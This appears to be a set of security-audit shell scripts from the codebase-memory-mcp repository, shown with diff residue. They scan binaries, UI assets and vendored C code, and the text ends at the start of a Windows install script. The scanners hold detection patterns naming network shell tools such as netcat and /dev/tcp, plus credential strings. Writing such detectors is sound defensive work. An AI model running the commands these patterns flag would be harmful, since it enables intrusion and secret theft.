# Scans extracted strings for:
# 1. Unauthorized URLs (only github.com + localhost allowed)
# 2. Suspiciously long base64-encoded payloads
# 3. Dangerous command names (wget, nc, netcat, telnet, ssh, /dev/tcp)
# 4. Credential patterns (password=, secret=, api_key=)
#
# Usage: scripts/security-strings.sh <binary-path>
BINARY="${1:?usage: security-strings.sh <binary-path>}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
FAIL=0
# Detect file type. Shell scripts and other text files extract poorly via
# `strings` (the entire content becomes the "strings"), and rules tuned for
# compiled binaries (URL allowlist, wget/telnet detection) produce false
# positives — install.sh legitimately uses `wget` as a curl fallback, and
# `case` glob patterns like `https://*` look like unauthorized URLs.
#
# Strategy: for non-binary files we still run credential and base64 audits
# (those are universally meaningful), but skip the URL and dangerous-command
# audits which are designed for compiled artifacts. Script content is
# reviewed in PRs and scanned end-to-end by VirusTotal in the same pipeline.
IS_SCRIPT=false
if command -v file &>/dev/null; then
FILE_TYPE=$(file -b "$BINARY" 2>/dev/null || echo "")
case "$FILE_TYPE" in
*"shell script"*|*"ASCII text"*|*"UTF-8 Unicode text"*|*"Unicode text"*|*"a /usr/bin/env"*)
IS_SCRIPT=true
;;
esac
fi
if $IS_SCRIPT; then
echo "=== Layer 2: Script Content Audit ==="
else
echo "=== Layer 2: Binary String Audit ==="
fi
echo "File: $BINARY"
echo ""
# Check for strings command (needs binutils on some MSYS2 setups)
if ! command -v strings &>/dev/null; then
echo "SKIP: 'strings' command not available"
exit 0
fi
# Extract all printable strings (min length 4)
STRINGS_FILE=$(mktemp)
SEC_CMDS=$(mktemp)
SEC_CREDS=$(mktemp)
trap 'rm -f "$STRINGS_FILE" "$SEC_CMDS" "$SEC_CREDS"' EXIT
strings -n 4 "$BINARY" | sort -u > "$STRINGS_FILE"
# ── 1. URL audit (binary only — scripts handled via VT + PR review) ────
if $IS_SCRIPT; then
echo "--- URL audit (skipped — script file) ---"
else
echo "--- URL audit ---"
# Allowed URL prefixes
ALLOWED_URLS=(
"https://api.github.com/repos/DeusData/codebase-memory-mcp"
"https://github.com/DeusData/codebase-memory-mcp"
"http://127.0.0.1"
"http://localhost"
# SQLite internal URLs (part of vendored sqlite3 strings)
"https://sqlite.org"
"https://www.sqlite.org"
# Toolchain URLs embedded by compiler/linker in static builds
"https://bugs.launchpad.net"
"https://gcc.gnu.org"
"https://sourceware.org"
# MSYS2 CLANG64 toolchain (libc++/compiler-rt) package-tracker URL, baked
# into the static Windows .exe — Windows-only, hence Linux smoke stays clean.
"https://github.com/msys2/MINGW-packages"
# W3C XML namespace URIs (SVG, MathML, XLink — used in UI bundle)
"http://www.w3.org/"
# UI bundle: React, Three.js, Tailwind, Google Fonts, bundled libraries
"https://react.dev"
"https://fonts.googleapis.com"
"https://fonts.gstatic.com"
"https://tailwindcss.com"
"https://cdn.jsdelivr.net"
"https://docs.pmnd.rs"
"https://jcgt.org"
"https://github.com/pmndrs"
"https://github.com/react-spring"
"https://github.com/101arrowz"
"https://github.com/arty-name"
"https://github.com/fredli74"
"https://github.com/lojjic"
)
while IFS= read -r url; do
# Skip short false positives from binary data (e.g. "https://H9")
if [[ ${#url} -lt 15 ]]; then
continue
fi
allowed=false
for prefix in "${ALLOWED_URLS[@]}"; do
if [[ "$url" == "$prefix"* ]]; then
allowed=true
break
fi
done
if ! $allowed; then
echo "BLOCKED: Unauthorized URL in binary: $url"
FAIL=1
fi
done < <(grep -oE 'https?://[a-zA-Z0-9._/~:@!$&()*+,;=?#%[-]+' "$STRINGS_FILE" || true)
if [[ $FAIL -eq 0 ]]; then
echo "OK: All URLs are authorized."
fi
fi # end !IS_SCRIPT URL audit
# ── 2. Base64 payload detection ──────────────────────────────────
echo ""
echo "--- Base64 payload detection ---"
# Look for base64-like strings longer than 100 chars (potential encoded payloads)
B64_COUNT=$(grep -cE '^[A-Za-z0-9+/]{100,}={0,2}$' "$STRINGS_FILE" || true)
if [[ "$B64_COUNT" -gt 0 ]]; then
echo "WARNING: Found $B64_COUNT potential base64-encoded strings > 100 chars"
grep -E '^[A-Za-z0-9+/]{100,}={0,2}$' "$STRINGS_FILE" | head -5 | while IFS= read -r s; do
echo " ${s:0:80}..."
done
# Warning only — tree-sitter grammar data can look like base64
else
echo "OK: No suspicious base64 payloads found."
fi
# ── 3. Dangerous command detection (binary only) ─────────────────
echo ""
if $IS_SCRIPT; then
echo "--- Dangerous command detection (skipped — script file) ---"
DANGEROUS_CMDS=''
else
echo "--- Dangerous command detection ---"
DANGEROUS_CMDS='wget|netcat|ncat|/dev/tcp|telnet'
# Known-benign matches (vendored grammar URI scheme tables, etc.). Each entry
# is a regex matched against the full line; matches are stripped before
# evaluation. Document the source so reviewers can verify the false positive.
ALLOWED_DANGEROUS=(
'^telnet$' # rst tree-sitter grammar: valid_schemas[] in vendored/grammars/rst/tree_sitter_rst/chars.c
)
if grep -wE "$DANGEROUS_CMDS" "$STRINGS_FILE" > "$SEC_CMDS" 2>/dev/null && [ -s "$SEC_CMDS" ]; then
for allow in "${ALLOWED_DANGEROUS[@]}"; do
grep -vE "$allow" "$SEC_CMDS" > "${SEC_CMDS}.tmp" || true
mv "${SEC_CMDS}.tmp" "$SEC_CMDS"
done
fi
if [ -s "$SEC_CMDS" ]; then
echo "BLOCKED: Dangerous commands found in binary:"
cat "$SEC_CMDS"
FAIL=1
else
echo "OK: No dangerous commands found."
fi
fi # end !IS_SCRIPT dangerous-cmd audit
# ── 4. Credential pattern detection ──────────────────────────────
echo ""
echo "--- Credential pattern detection ---"
CRED_PATTERNS='password=|secret=|api_key=|apikey=|auth_token=|private_key='
if grep -iE "$CRED_PATTERNS" "$STRINGS_FILE" > "$SEC_CREDS" 2>/dev/null; then
echo "BLOCKED: Credential patterns found in binary:"
cat "$SEC_CREDS"
FAIL=1
else
echo "OK: No credential patterns found."
fi
# ── Summary ──────────────────────────────────────────────────────
echo ""
if [[ $FAIL -ne 0 ]]; then
echo "=== BINARY STRING AUDIT FAILED ==="
exit 1
fi
echo "=== Binary string audit passed ==="
+211
View File
@@ -0,0 +1,211 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 6: Graph UI security audit.
#
# Audits:
# A. Frontend asset scan (embedded JS/CSS/HTML or graph-ui/dist/)
# B. HTTP server binding (must be 127.0.0.1 only)
# C. RPC proxy scope (no system()/popen() in HTTP handler path)
# D. CORS check (no wildcard Access-Control-Allow-Origin)
#
# Usage: scripts/security-ui.sh
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
FAIL=0
# Use mktemp for all temp files (cross-platform safe)
SEC_TMPDIR=$(mktemp -d)
trap 'rm -rf "$SEC_TMPDIR"' EXIT
echo "=== Layer 6: Graph UI Security Audit ==="
# ── A. Frontend asset scan ───────────────────────────────────────
echo ""
echo "--- A. Frontend asset scan ---"
# Check both built dist and embedded asset source
UI_DIRS=()
[[ -d "$ROOT/graph-ui/dist" ]] && UI_DIRS+=("$ROOT/graph-ui/dist")
[[ -d "$ROOT/graph-ui/src" ]] && UI_DIRS+=("$ROOT/graph-ui/src")
if [[ ${#UI_DIRS[@]} -eq 0 ]]; then
echo "SKIP: No graph-ui directory found."
else
for UI_DIR in "${UI_DIRS[@]}"; do
echo "Scanning: $UI_DIR"
# A1: No external domains in JS/CSS/TS source code.
# For src/ (our code): strict — any external URL is blocked.
# For dist/ (bundled npm output): skip inline URL scan — minified JS
# contains hundreds of string-constant URLs from libraries (React error
# pages, W3C namespace URIs, CDN references, OSS credits) that are never
# fetched at runtime. Scanning them is noise. Structural checks (A2-A6)
# still apply to dist/.
is_dist=false
[[ "$UI_DIR" == *"/dist" || "$UI_DIR" == *"/dist/" ]] && is_dist=true
if ! $is_dist; then
echo " Checking for external domains (source)..."
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' -o -name '*.css' \) -exec grep -lE 'https?://' {} \; 2>/dev/null | head -20 > "$SEC_TMPDIR/urls"; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
grep -onE 'https?://[^\s"'"'"')]+' "$file" 2>/dev/null | while IFS=: read -r lineno url; do
case "$url" in
http://localhost*|http://127.0.0.1*|https://localhost*|https://127.0.0.1*)
;; # OK — local dev/runtime
*)
echo " BLOCKED: ${relfile}:${lineno}: External URL: $url"
touch "$SEC_TMPDIR/fail_flag"
;;
esac
done
done < "$SEC_TMPDIR/urls"
fi
[[ -f "$SEC_TMPDIR/fail_flag" ]] && FAIL=1 && rm -f "$SEC_TMPDIR/fail_flag"
else
echo " Skipping inline URL scan for dist/ (bundled library strings)."
echo " Structural checks (script loads, tracking, eval, iframes) still apply."
fi
# A2: No external script/link loads in HTML
echo " Checking for external script/link loads..."
if find "$UI_DIR" -type f -name '*.html' -exec grep -lE '<script\s+src=|<link\s+href=' {} \; 2>/dev/null > "$SEC_TMPDIR/scripts"; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
if grep -nE '<script\s+src="https?://|<link\s+href="https?://' "$file" 2>/dev/null \
| grep -v 'localhost' | grep -v '127.0.0.1' \
| grep -v 'fonts.googleapis.com' | grep -v 'fonts.gstatic.com'; then
echo " BLOCKED: ${relfile}: External script/link load detected"
FAIL=1
fi
done < "$SEC_TMPDIR/scripts"
fi
# A3: No tracking/analytics
echo " Checking for tracking/analytics..."
TRACKING='google-analytics|gtag|mixpanel|segment\.com|hotjar|sentry\.io|plausible|posthog'
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' -o -name '*.html' \) \
-exec grep -lE "$TRACKING" {} \; 2>/dev/null > "$SEC_TMPDIR/track"; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
echo " BLOCKED: ${relfile}: Tracking/analytics reference found"
grep -nE "$TRACKING" "$file" | head -3
FAIL=1
done < "$SEC_TMPDIR/track"
fi
# A4: No hidden iframes
echo " Checking for iframes..."
if find "$UI_DIR" -type f -name '*.html' -exec grep -li '<iframe' {} \; 2>/dev/null > "$SEC_TMPDIR/iframe"; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
echo " BLOCKED: ${relfile}: iframe detected"
FAIL=1
done < "$SEC_TMPDIR/iframe"
fi
# A5: No eval/Function constructor in JS
echo " Checking for eval/Function constructor..."
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' \) \
-exec grep -nE '\beval\s*\(|new\s+Function\s*\(' {} \; 2>/dev/null | grep -v node_modules | grep -v '\.test\.' > "$SEC_TMPDIR/eval"; then
while IFS= read -r match; do
echo " REVIEW: eval/Function found: $match"
done < "$SEC_TMPDIR/eval"
fi
# A6: No WebSocket to external
echo " Checking for external WebSocket connections..."
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' \) \
-exec grep -nE 'wss?://' {} \; 2>/dev/null | grep -v 'localhost' | grep -v '127.0.0.1' > "$SEC_TMPDIR/ws"; then
while IFS= read -r match; do
echo " BLOCKED: External WebSocket: $match"
FAIL=1
done < "$SEC_TMPDIR/ws"
fi
done
fi
# ── B. HTTP server binding check ─────────────────────────────────
echo ""
echo "--- B. HTTP server binding check ---"
# The UI server is split across two first-party files:
# httpd.c — socket transport (binding, parsing)
# http_server.c — routing + endpoint handlers (CORS policy)
# Both MUST exist — a missing file means the audit target moved and the
# audit would go blind, so that is a hard failure, not a skip.
HTTPD="$ROOT/src/ui/httpd.c"
HTTP_SERVER="$ROOT/src/ui/http_server.c"
for f in "$HTTPD" "$HTTP_SERVER"; do
if [[ ! -f "$f" ]]; then
echo "BLOCKED: expected UI server source missing: $f"
FAIL=1
fi
done
if [[ -f "$HTTPD" ]]; then
# Must bind to 127.0.0.1 only
if grep -q '127\.0\.0\.1' "$HTTPD"; then
echo "OK: Server binds to 127.0.0.1"
else
echo "BLOCKED: No 127.0.0.1 binding found in httpd.c"
FAIL=1
fi
# Must NOT bind to 0.0.0.0 or INADDR_ANY
if cat "$HTTPD" "$HTTP_SERVER" 2>/dev/null | grep -E '0\.0\.0\.0|INADDR_ANY|in6addr_any' | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
echo "BLOCKED: Server may bind to all interfaces (0.0.0.0/INADDR_ANY found)"
FAIL=1
else
echo "OK: No 0.0.0.0/INADDR_ANY binding"
fi
fi
# ── C. RPC proxy scope check ─────────────────────────────────────
echo ""
echo "--- C. RPC proxy scope check ---"
if [[ -f "$HTTP_SERVER" ]]; then
# The HTTP handler should not directly call system()/popen()
# (fork/execl for indexing is allowed as it's tracked)
if cat "$HTTPD" "$HTTP_SERVER" 2>/dev/null | grep -n 'system(' | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
echo "BLOCKED: system() call found in HTTP server (use subprocess instead)"
FAIL=1
else
echo "OK: No system() calls in HTTP handler"
fi
fi
# ── D. CORS check ────────────────────────────────────────────────
echo ""
echo "--- D. CORS check ---"
if [[ -f "$HTTP_SERVER" ]]; then
if cat "$HTTPD" "$HTTP_SERVER" 2>/dev/null | grep -E 'Allow-Origin:\s*\*' | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
echo "BLOCKED: CORS wildcard (Access-Control-Allow-Origin: *) found"
echo " This allows any website to access the local server."
FAIL=1
else
echo "OK: No CORS wildcard found"
fi
# Check that CORS reflects localhost origins
if grep -q 'localhost' "$HTTP_SERVER" && grep -q 'update_cors\|Access-Control-Allow-Origin' "$HTTP_SERVER"; then
echo "OK: CORS appears to validate localhost origins"
fi
fi
# ── Summary ──────────────────────────────────────────────────────
echo ""
if [[ $FAIL -ne 0 ]]; then
echo "=== UI SECURITY AUDIT FAILED ==="
exit 1
fi
echo "=== UI security audit passed ==="
+349
View File
@@ -0,0 +1,349 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 8: Vendored dependency integrity — verifies vendored C sources match
# checked-in checksums. Detects supply chain tampering of vendored libraries.
#
# Libraries covered: mimalloc, nomic, sqlite3, tre, xxhash, yyjson
#
# Usage: scripts/security-vendored.sh [--update]
MODE="${1:-}"
if [[ -n "$MODE" && "$MODE" != "--update" ]]; then
echo "Usage: scripts/security-vendored.sh [--update]"
exit 2
fi
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
CHECKSUMS="$ROOT/scripts/vendored-checksums.txt"
VENDORED_ROOT="$ROOT/vendored"
if [[ ! -f "$CHECKSUMS" || -L "$CHECKSUMS" ]]; then
echo "FAIL: checksum manifest must be a regular, non-symlink file: $CHECKSUMS"
exit 1
fi
if [[ ! -d "$VENDORED_ROOT" || -L "$VENDORED_ROOT" ]]; then
echo "FAIL: vendored root must be a regular, non-symlink directory: $VENDORED_ROOT"
exit 1
fi
echo "=== Layer 8: Vendored Dependency Integrity ==="
# Detect shasum command (shasum on macOS, sha256sum on Linux). Missing hashing
# is a hard failure: an integrity check that verified nothing must never pass or
# authorize a manifest update.
if command -v sha256sum &>/dev/null; then
SHA_CMD=(sha256sum)
elif command -v shasum &>/dev/null; then
SHA_CMD=(shasum -a 256)
else
echo "BLOCKED: no sha256sum or shasum available"
exit 1
fi
MANIFEST_PATHS="$(mktemp "${TMPDIR:-/tmp}/cbm-vendored-paths.XXXXXX")" || {
echo "BLOCKED: cannot create checksum verification workspace"
exit 1
}
VENDORED_FILES="$(mktemp "${TMPDIR:-/tmp}/cbm-vendored-files.XXXXXX")" || {
rm -f "$MANIFEST_PATHS"
echo "BLOCKED: cannot create vendored inventory workspace"
exit 1
}
VENDORED_SYMLINKS="$(mktemp "${TMPDIR:-/tmp}/cbm-vendored-links.XXXXXX")" || {
rm -f "$MANIFEST_PATHS" "$VENDORED_FILES"
echo "BLOCKED: cannot create vendored link workspace"
exit 1
}
UPDATE_TMP=""
cleanup() {
rm -f "$MANIFEST_PATHS" "$VENDORED_FILES" "$VENDORED_SYMLINKS"
if [[ -n "$UPDATE_TMP" ]]; then
rm -f "$UPDATE_TMP"
fi
}
trap cleanup EXIT
STRUCTURAL_FAIL=0
CONTENT_DRIFT=0
CHECKED=0
MISSING=0
UNEXPECTED=0
DISCOVERED=0
valid_vendored_path() {
local path="$1"
[[ "$path" == vendored/* ]] || return 1
[[ "$path" == *.c || "$path" == *.h ]] || return 1
[[ "$path" != *'\\'* ]] || return 1
[[ "$path" != *'//'* ]] || return 1
[[ "$path" != *'/./'* && "$path" != */. ]] || return 1
[[ "$path" != *'/../'* && "$path" != */.. ]] || return 1
[[ "$path" != *$'\n'* && "$path" != *$'\r'* && "$path" != *$'\t'* ]] || return 1
}
hash_file() {
local file="$1"
local output
local hash
if ! output="$("${SHA_CMD[@]}" "$file")"; then
return 1
fi
hash="${output%% *}"
[[ "$hash" =~ ^[[:xdigit:]]{64}$ ]] || return 1
printf '%s\n' "$hash"
}
# Inventory with NUL delimiters first. This makes path validation independent
# of whitespace and ensures find/read failures are structural, not silent skips.
if ! find "$VENDORED_ROOT" -type f \( -name '*.c' -o -name '*.h' \) -print0 \
> "$VENDORED_FILES"; then
echo "BLOCKED: cannot inventory vendored source files"
STRUCTURAL_FAIL=1
fi
if ! find "$VENDORED_ROOT" -type l -print0 > "$VENDORED_SYMLINKS"; then
echo "BLOCKED: cannot inspect vendored symlinks"
STRUCTURAL_FAIL=1
fi
while IFS= read -r -d '' link; do
echo "BLOCKED: vendored symlink is not allowed: ${link#"$ROOT/"}"
STRUCTURAL_FAIL=1
done < "$VENDORED_SYMLINKS"
while IFS= read -r -d '' file; do
relpath="${file#"$ROOT/"}"
DISCOVERED=$((DISCOVERED + 1))
if ! valid_vendored_path "$relpath"; then
echo "BLOCKED: invalid or non-confined vendored path: $relpath"
STRUCTURAL_FAIL=1
fi
done < "$VENDORED_FILES"
# Verify each file in the checksum manifest. Malformed, duplicate, or escaping
# entries are structural failures. Ordinary content changes are updateable drift.
while IFS=' ' read -r expected_hash filepath || [[ -n "$expected_hash$filepath" ]]; do
[[ -z "$expected_hash" && -z "$filepath" ]] && continue
filepath="${filepath#"${filepath%%[![:space:]]*}"}"
if [[ ! "$expected_hash" =~ ^[[:xdigit:]]{64}$ ]] ||
! valid_vendored_path "$filepath"; then
echo "BLOCKED: invalid checksum manifest entry: ${filepath:-<missing path>}"
STRUCTURAL_FAIL=1
continue
fi
if grep -Fqx -- "$filepath" "$MANIFEST_PATHS"; then
echo "BLOCKED: duplicate checksum manifest path: $filepath"
STRUCTURAL_FAIL=1
continue
fi
printf '%s\n' "$filepath" >> "$MANIFEST_PATHS"
full_path="$ROOT/$filepath"
if [[ ! -e "$full_path" ]]; then
echo "MISSING: $filepath"
MISSING=$((MISSING + 1))
CONTENT_DRIFT=1
continue
fi
if [[ ! -f "$full_path" || -L "$full_path" ]]; then
echo "BLOCKED: manifest path is not a regular, non-symlink file: $filepath"
STRUCTURAL_FAIL=1
continue
fi
if ! actual_hash="$(hash_file "$full_path")"; then
echo "BLOCKED: cannot hash vendored file: $filepath"
STRUCTURAL_FAIL=1
continue
fi
CHECKED=$((CHECKED + 1))
if [[ "$actual_hash" != "$expected_hash" ]]; then
echo "MISMATCH: $filepath"
echo " expected: $expected_hash"
echo " actual: $actual_hash"
CONTENT_DRIFT=1
fi
done < "$CHECKSUMS"
# Verify every vendored library directory has checksum coverage. Missing
# coverage in a known library is updateable drift; an unknown library below is
# always a structural blocker.
echo ""
echo "--- Checking vendored library coverage ---"
while IFS= read -r -d '' libdir; do
libname="$(basename "$libdir")"
prefix="vendored/${libname}/"
covered=false
while IFS= read -r manifest_path; do
if [[ "$manifest_path" == "$prefix"* ]]; then
covered=true
break
fi
done < "$MANIFEST_PATHS"
if ! $covered; then
echo "MISSING COVERAGE: vendored/${libname}/ has no checksum entry"
CONTENT_DRIFT=1
fi
done < <(find "$VENDORED_ROOT" -mindepth 1 -maxdepth 1 -type d -print0)
# An unexpected source is a hard failure in verification mode. Literal
# whole-line matching prevents regex metacharacters or path prefixes from
# making one manifest entry claim a different file.
while IFS= read -r -d '' file; do
relpath="${file#"$ROOT/"}"
if ! grep -Fqx -- "$relpath" "$MANIFEST_PATHS"; then
echo "NEW FILE: $relpath (not in checksums)"
UNEXPECTED=$((UNEXPECTED + 1))
CONTENT_DRIFT=1
fi
done < "$VENDORED_FILES"
echo ""
echo "Checked: $CHECKED files"
[[ $MISSING -gt 0 ]] && echo "Missing: $MISSING files"
[[ $UNEXPECTED -gt 0 ]] && echo "New (untracked): $UNEXPECTED files"
if [[ $CHECKED -eq 0 ]]; then
echo "BLOCKED: checksum manifest verified zero files"
STRUCTURAL_FAIL=1
fi
if [[ $DISCOVERED -eq 0 ]]; then
echo "BLOCKED: vendored inventory contains zero C/header files"
STRUCTURAL_FAIL=1
fi
# Dangerous call scan: vendored code must not contain subprocess calls.
echo ""
echo "--- Scanning vendored code for dangerous calls ---"
SUBPROCESS_FUNCS='[^a-z_]system\(|[^a-z]popen\(|[^a-z_]execl\(|[^a-z_]execv\(|[^a-z_]fork\('
if grep -rn -E "$SUBPROCESS_FUNCS" "$VENDORED_ROOT/" --include='*.c' --include='*.h' 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
| grep -v 'indicating that a fork' > /dev/null 2>&1; then
echo "BLOCKED: Subprocess calls found in vendored code:"
grep -rn -E "$SUBPROCESS_FUNCS" "$VENDORED_ROOT/" --include='*.c' --include='*.h' 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
| grep -v 'indicating that a fork' | head -10
STRUCTURAL_FAIL=1
else
echo "OK: No subprocess calls (system/popen/exec/fork) in vendored code"
fi
# Network calls are not allowed in vendored code. The graph-UI HTTP server is
# first-party (src/ui/httpd.c) and audited separately by security-ui.sh.
NETWORK_FUNCS='[^a-z_]connect\(|[^a-z_]socket\(|[^a-z_]sendto\(|[^a-z_]bind\('
VENDORED_NETWORK="$(grep -rn -E "$NETWORK_FUNCS" "$VENDORED_ROOT/" --include='*.c' --include='*.h' 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
| grep -v 'sqlite3.*bind()' || true)"
if [[ -n "$VENDORED_NETWORK" ]]; then
echo "BLOCKED: Network calls found in vendored code:"
echo "$VENDORED_NETWORK" | head -10
STRUCTURAL_FAIL=1
else
echo "OK: No network calls in vendored code"
fi
# dlopen/LoadLibrary is only allowed in sqlite3 (extension loading) and
# mimalloc (Windows APIs).
DYNLOAD_FUNCS='dlopen\(|LoadLibrary\('
NON_SQLITE_DYNLOAD="$(grep -rn -E "$DYNLOAD_FUNCS" "$VENDORED_ROOT/" --include='*.c' --include='*.h' 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' \
| grep -v 'sqlite3' | grep -v 'mimalloc' || true)"
if [[ -n "$NON_SQLITE_DYNLOAD" ]]; then
echo "BLOCKED: Dynamic library loading found outside sqlite3:"
echo "$NON_SQLITE_DYNLOAD" | head -10
STRUCTURAL_FAIL=1
else
echo "OK: dlopen/LoadLibrary only in sqlite3 (blocked by authorizer at runtime)"
fi
# Every top-level vendored library requires an explicit review decision.
KNOWN_VENDORED="mimalloc nomic sqlite3 tre xxhash yyjson"
while IFS= read -r -d '' libdir; do
libname="$(basename "$libdir")"
found=false
for known in $KNOWN_VENDORED; do
if [[ "$libname" == "$known" ]]; then
found=true
break
fi
done
if ! $found; then
echo "BLOCKED: vendored/${libname}/ is not in the known vendored library list"
echo " Evaluate it for dangerous calls, then add it to KNOWN_VENDORED."
STRUCTURAL_FAIL=1
fi
done < <(find "$VENDORED_ROOT" -mindepth 1 -maxdepth 1 -type d -print0)
# Also scan tree-sitter grammars (internal/cbm/vendored/) — 650MB, 20M lines.
# Use fixed-string grep for each pattern to avoid slow regex on the large tree.
if [[ -d "$ROOT/internal/cbm/vendored" ]]; then
GRAMMAR_FAIL=false
for pattern in 'system(' 'popen(' 'execl(' 'execv(' 'fork(' 'connect(' 'socket(' 'sendto(' 'dlopen(' 'LoadLibrary('; do
HITS="$(grep -rl -F "$pattern" "$ROOT/internal/cbm/vendored/" --include='*.c' --include='*.h' 2>/dev/null | head -3 || true)"
if [[ -n "$HITS" ]]; then
echo "BLOCKED: '$pattern' found in vendored grammars:"
echo "$HITS" | sed 's|.*/vendored/| vendored/|'
GRAMMAR_FAIL=true
fi
done
if $GRAMMAR_FAIL; then
STRUCTURAL_FAIL=1
else
echo "OK: No dangerous calls in vendored tree-sitter grammars"
fi
fi
if [[ "$MODE" == "--update" ]]; then
if [[ $STRUCTURAL_FAIL -ne 0 ]]; then
echo ""
echo "=== CHECKSUM UPDATE REFUSED ==="
echo "Resolve all structural and dangerous-code blockers before updating."
exit 1
fi
UPDATE_TMP="$(mktemp "$CHECKSUMS.tmp.XXXXXX")" || {
echo "BLOCKED: cannot create atomic checksum update"
exit 1
}
UPDATE_COUNT=0
UPDATE_FAIL=0
while IFS= read -r -d '' file; do
relpath="${file#"$ROOT/"}"
if ! hash="$(hash_file "$file")"; then
echo "BLOCKED: cannot hash vendored file during update: $relpath"
UPDATE_FAIL=1
continue
fi
printf '%s %s\n' "$hash" "$relpath" >> "$UPDATE_TMP"
UPDATE_COUNT=$((UPDATE_COUNT + 1))
done < <(LC_ALL=C sort -z "$VENDORED_FILES")
if [[ $UPDATE_FAIL -ne 0 || $UPDATE_COUNT -eq 0 ]]; then
echo "BLOCKED: checksum update did not hash every vendored source"
exit 1
fi
chmod 0644 "$UPDATE_TMP"
if ! mv -f "$UPDATE_TMP" "$CHECKSUMS"; then
echo "BLOCKED: atomic checksum manifest replacement failed"
exit 1
fi
UPDATE_TMP=""
echo ""
echo "Updated: $CHECKSUMS ($UPDATE_COUNT files)"
exit 0
fi
if [[ $STRUCTURAL_FAIL -ne 0 || $CONTENT_DRIFT -ne 0 ]]; then
echo ""
echo "=== VENDORED INTEGRITY CHECK FAILED ==="
if [[ $STRUCTURAL_FAIL -eq 0 ]]; then
echo "Vendored content changed. If intentional, review it and run:"
echo "scripts/security-vendored.sh --update"
else
echo "Resolve all structural and dangerous-code blockers before updating."
fi
exit 1
fi
echo ""
echo "=== Vendored integrity check passed ==="
+326
View File
@@ -0,0 +1,326 @@
# codebase-memory-mcp setup script (Windows)
# Default: download pre-built native Windows binary
# -FromSource: build from source inside WSL (requires Go + gcc in WSL)
param(
[switch]$FromSource,
[switch]$Help
)
$ErrorActionPreference = "Stop"
$Repo = "DeusData/codebase-memory-mcp"
$BinaryName = "codebase-memory-mcp"
$InstallDir = Join-Path $env:LOCALAPPDATA "codebase-memory-mcp"
# --- Helpers ---
function Write-Ok($msg) { Write-Host " $msg" -ForegroundColor Green }
function Write-Fail($msg) { Write-Host " $msg" -ForegroundColor Red }
function Write-Warn($msg) { Write-Host " $msg" -ForegroundColor Yellow }
function Read-SettingsJson($Path) {
# PS5.1-compatible: ConvertFrom-Json returns PSCustomObject, not Hashtable.
# We convert to ordered hashtable manually.
if (-not (Test-Path $Path)) {
return @{}
}
$raw = Get-Content $Path -Raw
if (-not $raw -or $raw.Trim() -eq "") {
return @{}
}
$obj = $raw | ConvertFrom-Json
$ht = [ordered]@{}
foreach ($prop in $obj.PSObject.Properties) {
if ($prop.Value -is [System.Management.Automation.PSCustomObject]) {
$inner = [ordered]@{}
foreach ($p in $prop.Value.PSObject.Properties) {
$inner[$p.Name] = $p.Value
}
$ht[$prop.Name] = $inner
} else {
$ht[$prop.Name] = $prop.Value
}
}
return $ht
}
function Write-SettingsJson($Path, $Settings) {
# Back up existing file before writing
if (Test-Path $Path) {
Copy-Item $Path "$Path.bak" -Force
}
$Settings | ConvertTo-Json -Depth 10 | Set-Content $Path -Encoding UTF8
}
function Configure-ClaudeCode($McpConfig) {
Write-Host ""
$answer = Read-Host "Configure Claude Code to use codebase-memory-mcp? [y/N]"
if ($answer -match '^[Yy]$') {
$settingsPath = Join-Path $env:USERPROFILE ".claude\settings.json"
$settingsDir = Split-Path $settingsPath -Parent
if (-not (Test-Path $settingsDir)) {
New-Item -ItemType Directory -Path $settingsDir -Force | Out-Null
}
$settings = Read-SettingsJson $settingsPath
if (-not $settings.Contains("mcpServers")) {
$settings["mcpServers"] = [ordered]@{}
}
$settings["mcpServers"]["codebase-memory-mcp"] = $McpConfig
Write-SettingsJson $settingsPath $settings
Write-Ok "Updated $settingsPath"
} else {
Write-Host ""
Write-Host " Add this to your .mcp.json or %USERPROFILE%\.claude\settings.json:" -ForegroundColor White
Write-Host ""
$snippet = @{ mcpServers = @{ "codebase-memory-mcp" = $McpConfig } }
$snippet | ConvertTo-Json -Depth 10 | Write-Host
}
}
function Test-WSL {
try {
$null = wsl.exe --status 2>&1
if ($LASTEXITCODE -ne 0) { return $false }
return $true
} catch {
return $false
}
}
function Get-WSLDistro {
$output = wsl.exe -l -v 2>&1 | Out-String
$lines = $output -split "`n" | Where-Object { $_ -match '\S' } | Select-Object -Skip 1
foreach ($line in $lines) {
$clean = $line -replace '\x00', '' -replace '^\s+', ''
if ($clean -match '^\*?\s*(\S+)\s+') {
$name = $Matches[1]
if ($name -ne "NAME" -and $name -ne "") {
return $name
}
}
}
return $null
}
function Invoke-WSL {
param([string]$Command)
$result = wsl.exe -- bash -c $Command 2>&1
if ($LASTEXITCODE -ne 0) {
throw "WSL command failed: $Command`n$result"
}
return $result
}
# --- Main ---
if ($Help) {
Write-Host ""
Write-Host "Usage: .\setup-windows.ps1 [-FromSource] [-Help]"
Write-Host ""
Write-Host " Default: Download pre-built Windows binary"
Write-Host " -FromSource: Build from source inside WSL (requires Go 1.23+ and gcc in WSL)"
Write-Host ""
exit 0
}
Write-Host ""
Write-Host "codebase-memory-mcp installer (Windows)" -ForegroundColor White
Write-Host ""
if ($FromSource) {
